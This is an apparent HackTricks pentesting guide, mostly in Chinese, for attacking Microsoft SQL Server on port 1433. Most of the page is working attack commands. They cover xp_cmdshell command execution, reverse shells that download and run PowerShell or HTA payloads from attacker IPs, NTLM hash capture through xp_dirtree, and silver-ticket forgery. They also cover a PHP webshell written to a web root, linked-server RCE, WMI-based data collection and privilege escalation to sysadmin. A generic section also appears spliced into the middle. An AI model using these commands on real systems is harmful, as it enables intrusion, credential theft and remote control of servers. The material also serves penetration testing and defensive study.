1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

基本信息

来自 wikipedia:

Microsoft SQL Server 是由 Microsoft 开发的 relational database 管理系统。作为一个 database server,它是一个软件产品,其主要功能是按其他软件应用程序的请求存储和检索数据——这些应用程序可以运行在同一台 computer 上,也可以通过 network(包括 Internet)运行在另一台 computer 上。

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

落到一个 Managed Database-as-a-Service (DBaaS)

所有依赖于“拥有主机”的内容(例如 privilege escalation、lateral movement 和 OS command execution)在 DBaaS 中都不再存在。在这些环境中的 pentesting 必须转向 application-layer exploitation、通过 SQL logic 的 data exfiltration、错误配置的 IAM roles,或者糟糕的 network/VPC 设计。例如,Amazon RDS documentation 明确说明 xp_cmdshellTRUSTWORTHY database property 不受支持。

Warning

你拿到的是一个 database endpoint,不是一个 server。cloud provider 会管理 host OS、database engine binaries,以及许多 security policies。

Default MS-SQL System Tables

  • master Database: 这个数据库至关重要,因为它会捕获 SQL Server instance 的所有 system-level 细节。
  • msdb Database: SQL Server Agent 使用这个数据库来管理 alerts 和 jobs 的 scheduling。
  • model Database: 作为 SQL Server instance 上每个新 database 的 blueprint,任何更改,比如 size、collation、recovery model 等,都会反映到新创建的 databases 中。
  • Resource Database: 一个只读 database,存放随 SQL Server 提供的 system objects。这些 objects 虽然物理上存储在 Resource database 中,但逻辑上会呈现在每个 database 的 sys schema 中。
  • tempdb Database: 作为 transient objects 或 intermediate result sets 的临时存储区域。

Enumeration

Automatic Enumeration

如果你对这个 service 一无所知:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

如果你没有 凭据,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。要小心,如果你使用现有用户名多次登录失败,可能会锁定账户

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

通过 RID Brute Force 进行 User Enumeration

你可以通过 brute-forcing RIDs(Relative Identifiers)来枚举域用户。这个 technique 在你拥有有效 credentials 但 privileges 有限时很有用:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

Pentesting MSSQL Microsoft SQL Server

MSSQL(Microsoft SQL Server)是 Microsoft 的关系型数据库管理系统(RDBMS)。它提供基于服务器的数据库服务,支持各种应用程序中的数据存储、检索和管理。

MSSQL 常用于企业环境,并且经常成为 pentesting 的目标,因为它可能存储敏感信息,或者因为它可能配置错误并向攻击者暴露。

连接到 MSSQL

要连接到 MSSQL,你可以使用诸如 sqlcmdosqlSQLEnterpriseManagerimpacketmssqlclient.py 等工具。

sqlcmd -S 10.10.10.10 -U sa -P 'Password123'

执行命令

如果你拥有适当的权限,你可以通过 xp_cmdshell 执行系统命令:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

常见枚举

你可以枚举以下内容:

  • 数据库名称
  • 用户和角色
  • 权限
  • Linkd servers
  • 配置设置
  • 已安装的扩展存储过程

提权

如果 xp_cmdshell 被禁用,你可能可以通过其他方式启用它,或者使用其他功能如 OLE Automation ProceduresCLR,或者 SQL Agent Jobs 来执行命令。

凭据提取

MSSQL 可能会以明文、哈希或通过链接服务器暴露凭据。请检查:

  • 备份文件
  • 配置文件
  • SQL Server Agent 作业
  • 已保存的连接
  • 服务器间的信任关系

防御措施

  • 使用强密码
  • 限制高权限账户
  • 禁用不必要的功能
  • 及时打补丁
  • 监控可疑的数据库活动
[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

  • --local-auth: 使用本地认证而不是域认证
  • --rid-brute <max_rid>: 暴力破解 RIDs,直到指定数字(默认: 4000)
  • -u: 用户名
  • -p: 密码

This technique will enumerate users by querying the MSSQL server for account information associated with sequential RIDs.

Manual Enumeration

Login

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

常见枚举

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

获取 User

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

获取权限

  1. Securable: 定义为由 SQL Server 管理用于访问控制的资源。这些资源可分为:
  • Server – 例如 databases、logins、endpoints、availability groups 和 server roles。
  • Database – 例如 database role、application roles、schema、certificates、full text catalogs 和 users。
  • Schema – 包括 tables、views、procedures、functions、synonyms 等。
  1. Permission: 与 SQL Server securables 相关,像 ALTER、CONTROL 和 CREATE 这类 permissions 可以授予给一个 principal。权限管理发生在两个层级:
  • Server Level 使用 logins
  • Database Level 使用 users
  1. Principal: 这个术语指被授予对某个 securable 权限的实体。Principals 主要包括 logins 和 database users。对 securables 的访问控制,是通过授予或拒绝 permissions,或者将 logins 和 users 加入具备访问权限的 roles 来实现的。
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

Execute OS Commands

Caution

请注意,为了能够执行命令,不仅需要启用 xp_cmdshell,还需要在 xp_cmdshell 存储过程上拥有 EXECUTE permission。你可以使用以下命令获取除 sysadmins 之外谁可以使用 xp_cmdshell

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

基于 WMI 的远程 SQL 收集 (sqlcmd + CSV export)

Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity.

Example mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

使用 WMI 远程调用它

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell 替代方案

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Notes

  • sqlcmd 可能缺失;可回退到 osql、PowerShell Invoke-Sqlcmd,或使用一个通过 System.Data.SqlClient 的 one‑liner。
  • 谨慎使用引号;长/复杂查询更适合通过文件提供,或使用在 batch/PowerShell stub 内解码的 Base64 编码参数。
  • 通过 SMB 外传 CSV(例如,从 \SQLHOST\C$\Windows\Temp 复制),或先压缩再通过你的 C2 传输。

获取 hashed passwords

SELECT * FROM master.sys.syslogins;

Steal NetNTLM hash / Relay attack

你应该先启动一个 SMB server 来捕获在认证中使用的 hash(例如 impacket-smbserverresponder)。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

你可以通过以下方式检查谁(除了 sysadmins)有权限运行这些 MSSQL functions:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

使用 responderInveigh 等工具,可以窃取 NetNTLM hash
你可以在这里查看如何使用这些工具:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

From NetNTLMv2 capture to MSSQL silver ticket (PAC group injection)

  • 通过 xp_dirtree '\\\\<attacker_ip>\\share' 配合 Responder 捕获 SQL Server service account 的 NetNTLMv2(使用 Hashcat mode 5600 破解)。
  • 从恢复出的密码派生 service NTLM hash:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
  • 使用 SELECT SUSER_SID('DOMAIN\\Domain Users'); 获取 domain SID 字节(RID = 最后 4 字节,little endian)。使用 nxc mssql ... --rid-brute 映射/爆破 RIDs,以找到授予 sysadmin 的 group(例如,RID 1105)。
  • 为 MSSQL SPN 伪造一个 silver ticket,并在 PAC 中注入特权 group RID:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
  • 如有需要,启用 xp_cmdshell; 即使通过 forged ticket 进行 impersonation,命令也会以 SQL Server service account 身份运行。

阅读这篇文章 以了解更多关于如何滥用此 feature:

MSSQL AD Abuse

Linked-server credential mapping -> remote sysadmin -> OS RCE

Linked servers 可以配置为 non-self login mappingLocal Login -> Remote Login)。在这种情况下,第一个 SQL Server 上的低权限 login 可以在第二个 SQL Server 上 作为映射的 remote principal 执行查询。即使 linked instance 位于 另一个 domain 或 forest 中,工作方式也一样。

首先枚举这些 links 及其 mappings:

EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';

Then verify which account you become on the remote side and whether it is sysadmin:

EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];

如果映射的远程登录是 sysadmin,linked server 就会变成一个 remote code execution primitive,因为你可以重新配置远端实例,并以 SQL Server service account 身份运行 OS 命令:

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];

使用 impacket-mssqlclient,同样的工作流程通常更快:

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami

要将单条命令执行升级为交互式 shell,可通过 xp_cmdshell 启动一个 reverse shell:

xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443

Tip

如果 xp_cmdshell 被禁用,初始错误通常会确认 sp_configure / RECONFIGURE 是预期的启用路径。也要查找导出的 policy 文件,例如 Policy_Backup.infsecedit /export 的输出),因为它们可能暴露本地权限分配(SeImpersonatePrivilegeSeDebugPrivilege、Kerberos skew、SMB signing、NTLM hardening),这些信息有助于在你落地到 SQL 主机后选择下一步 privilege-escalation。

Write Files

要使用 MSSQL 写入文件,我们需要启用 Ole Automation Procedures,这需要 admin privileges,然后执行一些 stored procedures 来创建文件:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

使用 OPENROWSET 读取文件

默认情况下,MSSQL 允许对操作系统中该账户有读权限的任意文件进行读取。我们可以使用以下 SQL 查询:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

但是,BULK 选项需要 ADMINISTER BULK OPERATIONSADMINISTER DATABASE BULK OPERATIONS 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

基于错误的 SQLi 向量:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Read files executing scripts (Python and R)

MSSQL 可能允许你执行 Python 和/或 R 脚本。这些代码会由与使用 xp_cmdshell 执行命令的用户不同的用户来执行。

尝试执行 ‘R’ “Hellow World!” 的示例,未成功

使用已配置的 python 执行多个操作的示例:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Read Registry

Microsoft SQL Server 提供了多个扩展存储过程,允许你不仅与网络交互,还可以与文件系统甚至 Windows Registry 交互**:**

RegularInstance-Aware
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

For more examples check out the original source.

使用 MSSQL User Defined Function 的 RCE - SQLHttp

可以在 MSSQL 中使用自定义函数来加载 .NET dll。不过,这需要 dbo 访问权限,所以你需要以数据库中的 sa 或 Administrator 角色建立连接。

Following this link to see an example.

使用 autoadmin_task_agents 的 RCE

According to this post, 也可以加载远程 dll 并让 MSSQL 执行它,类似这样:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

With:

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

其他的 RCE 方式

还有其他方法可以获得命令执行,例如添加 extended stored proceduresCLR AssembliesSQL Server Agent Jobsexternal scripts

MSSQL 权限提升

从 db_owner 到 sysadmin

如果将 普通用户 的角色设置为 db_owner,且其对应的 数据库由管理员用户(例如 sa)拥有,并且该数据库被配置为 trustworthy,那么该用户可以滥用这些权限进行 privesc,因为其中创建的 stored procedures 可以作为所有者(adminexecute

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

你可以使用一个 metasploit 模块:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

或者一个 PS 脚本:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

模拟其他用户

SQL Server 有一个特殊权限,名为 IMPERSONATE,它允许执行用户采用另一个用户或 login 的权限,直到上下文被重置或会话结束。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

如果你可以冒充一个用户,即使他不是 sysadmin,你也应该检查该用户是否有权访问其他 databases 或 linked servers。

注意,一旦你成为 sysadmin,你就可以冒充任何其他用户:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

你可以使用一个 metasploit 模块执行此攻击:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

或者使用 PS 脚本:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

使用 MSSQL 进行 Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

从 SQL Server Linked Servers 中提取 passwords

攻击者可以从 SQL Instances 中提取 SQL Server Linked Servers 的 passwords,并以明文获取,从而得到可用于进一步获得目标更大 foothold 的 passwords。用于提取并解密存储在 Linked Servers 中 passwords 的脚本可在此处找到

为了使该 exploit 生效,需要完成一些要求和配置。首先,你必须在机器上拥有 Administrator 权限,或者具备管理 SQL Server Configurations 的能力。

在验证权限后,你需要配置三项内容,如下所示:

  1. 在 SQL Server instances 上启用 TCP/IP;
  2. 添加一个 Start Up 参数,在此情况下会添加一个 trace flag,即 -T7806。
  3. 启用 remote admin connection。

为了自动化这些配置,这个 repository 提供了所需脚本。除了为每个配置步骤提供一个 powershell script 外,该 repository 还提供了一个完整 script,将配置 scripts 以及 passwords 的提取和解密组合在一起。

有关此 attack 的更多信息,请参考以下链接:Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

运行 MSSQL server 的用户将启用 privilege token SeImpersonatePrivilege.
你很可能可以按照以下两个 paged 之一提权到 Administrator

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

References

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
